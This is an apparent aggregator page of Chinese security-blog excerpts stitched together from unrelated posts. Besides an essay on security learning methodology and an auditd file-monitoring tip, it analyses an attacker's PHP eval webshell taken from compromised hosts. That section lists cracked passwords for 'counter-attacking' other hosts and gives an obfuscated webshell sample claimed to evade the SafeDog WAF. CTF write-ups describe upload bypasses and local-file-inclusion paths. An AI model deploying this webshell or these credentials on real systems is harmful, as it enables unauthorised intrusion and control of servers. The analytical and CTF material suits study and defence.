Aggregator
网络安全学习方法论之体系的重要性
——Micropoor
古人半部论语治天下,读书考功只须熟读四书,而四书加起来不过区区5万字。可见网络安全学习知识体系的建立是重中之重。
古人将一个职业划分为7个阶段,既:
- 奴:自愿和靠人监督的人
- 徒:能力不足,肯自愿学习的人
- 工:老老实实,按规矩做事的人
- 匠:精通一门技艺或手艺的人
- 师:掌握了规律,又能将其传授给他人的人
- 家:有固定的信念,让别人生活的更好的人
- 圣:精通事理,通达万物的人
同样网络安全学习也有10个阶段划,既:
- 问:自愿或靠人监督的人
- 学:能力不足,肯自愿学习的人
- 动:老老实实,按课本或教学实践的人
- 记:记录每次实践或学习心得体会并总结的人
- 体系:建立适合自己的体系,并能把知识碎片化结合到自我体系的人
- 问:体系建立后,重新归纳更新知识,并体系重新结构化的人
- 分享:掌握了规律,又能将其传授给他人的人
- 带团队:有固定的信念,带领团队或集体形成合力的人
- 授业:可以传授道理、教授学业、解答疑难问题,指路人。
- 育才:培养出比自己优秀和强大的人
只有体系化的知识结构才能教导你思考问题、引导你洞察趋势、指导你展开行动。
什么是体系?
- 体系的本质是碎片化知识点的灵活串联与应用
- 知识体系是基于人而存在的,世上不存在不同的人完全相同的知识体系
什么是知识体系?
- 在我的定义中,知识体系是跟碎片知识相对应的概念,指高度有序的知识集合。也就是说,它由两部分组成:一是大量的知识点,二是有序的结构。
建立体系的过程?
- 整理知识碎片化
- 建立知识框架
- 形成知识体系
- 碎片化知识点纳入体系中
王国维在《人间词话》中说,古今之成大事业、大学问者,必经过三种之境界:
- 昨夜西风凋碧树,独立高楼,望尽天涯路
- 衣带渐宽终不悔,为伊消得人憔悴
- 众里寻他千百度,蓦然回首,那人却在灯火阑处
爱德加·戴尔提出了一套学习模型:模型主要分别为被动学习与主动学习的一个过程。 同时提出,学习效果在30%以下的几种传统方式,都是个人学习或被动学习;而学习效果在50%以上的,都是团队学习、主动学习和参与式学习。
“输出”是最好的学习方式,“输出”的本质是体系重新结构化
这里总结了如下经常碰到的问题,值得每一位网络安全从业人员深思:
- 不知道怎么学?
- 不知道学哪个方向?
- 越学越不会?
- 感觉自己跟不上知识更新的速度?
- 从事网安工作若干年后,感觉遇到技术瓶颈,怎么突破?
- 工具/技术招式越来越多,怎么办?
- 从事管理工作后,没有时间或者精力学习技术怎么办?
方法论结合于实战应用,请参考之前的文章如下:
结语:
在每次分享的同时,深深发现,原来分享,才是我最好的老师。 网络安全亦正亦邪,初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田美池桑竹之属。别在初极狭便放弃这“人间正道”,错过这“土地平旷,屋舍俨然,有良田美池桑竹之属。”,愿每一位读者能找到自己能融合贯通的“武功”,在结合吞噬其他“招式”,如行云流水,石便是器,枝便是剑。
In Conversation: The Women in Network Security
作文:记一次简单的寻人
对另一种变形一句话进行分析
修改Android源码实现原生应用双开,应用多开 - luoyesiqiu
VFIO driver analysis
对某攻击队的Webshell进行分析
对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析,发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析:
提出较为重要的那一段base64decode后的PHP代码进行分析:
@session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));代码逻辑:判断POST请求参数code是否有值,当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'],这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密,最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位),当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code'](Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件),最后进入该代码执行:if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));,代码如此简单就不再重复描述~
为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f'),我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可):
当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。
但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文:
获得了:abc123000、lipeng520、160376这三个密码,可利用密码对其他的肉鸡再次进行反打。
代码样本:(测试可过安全狗)
<?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?>Announcing the Microsoft Edge Insider Bounty
没有被JS程序员坑过的后台不是好的架构师
TRICK: Linux Auditd审计工具
难题:/home/chen/test/目录下的index.html为首页文件,一直被入侵者恶意篡改
需求:想要定位攻击方式以及篡改方式
命令:auditctl (安装:sudo apt install auditd)
参数:
-w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词(用于查询监控日志)运行:sudo auditctl -w /home/chen/test/index.html -p w -k index,等待二次篡改
过程发现被篡改执行:sudo ausearch -i -k index 查看日志
type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index了解该日志的格式:
syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径这里的syscall可以理解为是执行的动作,那么这段日志就非常容易理解了:用户chen使用gedit rename了该文件(重命名)
那么syscall是什么代表着编辑文件内容呢?(篡改)
测试gedit打开文件、编辑文件内容、保存文件,有三条日志:
type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=indexsyscall分别为:openat、openat、rename,但注意到第一个openat的日志中的success等于no
也就是说我们可以理解日志中出现syscall=openat即有人在修改文件,那么查看日志的命令就可以变成:
sudo ausearch -i -k index | grep 'syscall=openat'
END:定位到了用户、进程就可以继续跟踪了。
第三十七期 电子数据鉴定的注意事项
SUCTF 2019 web partial wp
.user.ini 上传绕过,GIF89a 绕过图片检测。
可参考 GHOST_URL/file-upload/#user.ini-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6
easyphp Brief desc打开页面,已经给出了源
weevely3 后门分析
补了很久之前的一个坑,写的很水(大佬不用浪费时间看这篇了
原来还是在某年的 xman 题目中见到的 weevely 后门
慢雾怎么样啦?
Edge DNS: Zone Apex Mapping & DNSSEC
Cloud Security: Citadel or Straw House, It's Your Call
August 2019 Security Releases
2019中关村杯show_me_your_image题目writeup
0x02 上传 首先上传正常文件,寻求上传的文件地址,但是服务器只返回一个session回来,再退回主界面发现上传的东西会在 /img.php?name=<???>中显示出来。 尝试改后缀为fuck,之所以我改成fuck是想要测试服务器是否是白名单机制的,即只接收图片格式而不接收其它任何格式。因为如果服务器是黑名单机制就暗示我们要绕开它上传,而白名单限制很死,绕过往往是不可能的,只能另寻它途。很不幸这次就是白名单的。 接着再直接把webshell开为jpeg后缀看看能不能利用img.php可能存在的文件包含漏洞,失败 尝试解析漏洞,失败 暴力扫目录扫php查看有没有别的PHP,一无所获。之所以扫目录是因为之前有题就是藏个phpinfo在那儿,暗示利用Imagick漏洞进行攻击的 看起来上传Getshell这条路被堵死了。泪,流了下来 0x03 发现 session长得很奇怪,有一种...说不出的眼熟,拿去base64解密居然解了部分,后面解不开的是一个.后面的东西,解密出来了有个不完整的JSON,其中包含了一个叫b的参数,这个参数Base64解码之后就是代入img.php的name,这熟悉的客户端session,让我想起了Flask的session,难道...难道这个其实是Flask伪装的? (PS:在下午主办方给了Hint之后,不需要能够发现session眼熟也能知道是Base64,但最好还是别过多依赖Hint,解码勤快点,万一下次不给Hint呢) 我向来是不惮以最坏的恶意来揣测出题人的,然而我还不料,也不信竟会下劣凶残到这地步。况且始终后缀是PHP的网站,更何至于是Python伪装的呢?然而很快证明是事实了,作证的便是参数污染探测。 先讲讲参数污染探测,说的多么神秘无非就是提交重复参数罢了,但是在这种涉嫌伪装的情况下却能够轻易识破。众所周知,PHP在被参数污染的情况下会取最后面的参数,而经过本人测试Flask在被参数污染的情况下会取最前面的参数。而我测试img.php之后发现它取最前面的参数,这便证明了后端并不是PHP! 发现这个惊天秘密似乎对做题并没有什么帮助的样子,我还是继续上传文件。我发现我的文件名不变,参数b不变,文件名越长,参数b越长,并且有一定的对应规律,似乎是变种的Base64?这个猜想正好契合主办方给的Hint,那看来我们需要做的就是通过大量的文件名来拿到Base64的字符串编码表然后自己实现编码利用LFI漏洞拿到Flag! 0x04 破译 到了这一步我整个人已经崩溃了,我操你妈我是个搞Web的,闲时学学二进制,现在叫我搞密码学有没有人性啊?但是思路也就这一条,而且和它的Hint也吻合,所以硬着头皮上吧。 关于Base64,这里有一个很好的讲解,做题我就是看这个讲解来搞定这个编码表恢复的,原理我就不过多重复叙述了。 Base64首先需要把字符串二进制编码填充,再按照六个六个的顺序分开又二进制转换为十进制得到一串由数字列表,接着再把列表里面的数字和按照编码表索引来拿到值。那我要做的就是生成大量文件名得到其自定义Base64的编码,用文件名得到的数字列表和题目自定义的Base64编码结果一一对应获取其编码表。 花了点时间撸出了一份代码,跑得样子是这样的 但是由于我们穷举的是可见字符,非常不幸有几个出不来,但因为我们最后搞LFI利用也不需要不可见字符,就随便填进去生成虽不准确但能用的Base64编码表 最后使用的编码表如下 /d3yiNmo7CzalDw2qWZ5JPYL0MTAjS6Gefxk9VXgvsRcuF+8pH4B1rOUbhKQtnEI 0x04 LFI 到现在需要做的就是用LFI读文件了,把目录用自定义编码表编码,然后交到img.php?name= 里面去。 尝试../../etc/passwd成功,且确认文件目录两层 但是flag找不到,各种找templates/upload.html也找不到,心里MMP,几个月前国赛就是这样的,明明能任意读文件了就是找不到flag 在暴力尝试很久之后我尝试读取下进程相关的东西。关于/proc/<pid>下能读的内容在这里可以找到,我遍历了/proc/<PID>/cmdline 从1到10000的PID,发现就PID=1是个python程序。命令行是个python3 app.py sleep 3000(cmdline读出来没有空格这个空格是我自己脑补充的)但是读也读不到app.py。于是我手动查看/proc/<PID>/目录下面有什么能泄漏路径的东西。 突然发现/proc/<PID>/cwd下面居然和进程工作目录相等,那我立即去读../../../../proc/1/cwd/templates/upload.html读出了文件,发现注释<!-- flag in /root/flag.txt ! Get it ! -->。心里又喜又怒,妈的找了半天flag就在/root/flag.txt下面,害我瞎折腾了那么久,且过去读,就能直接读到flag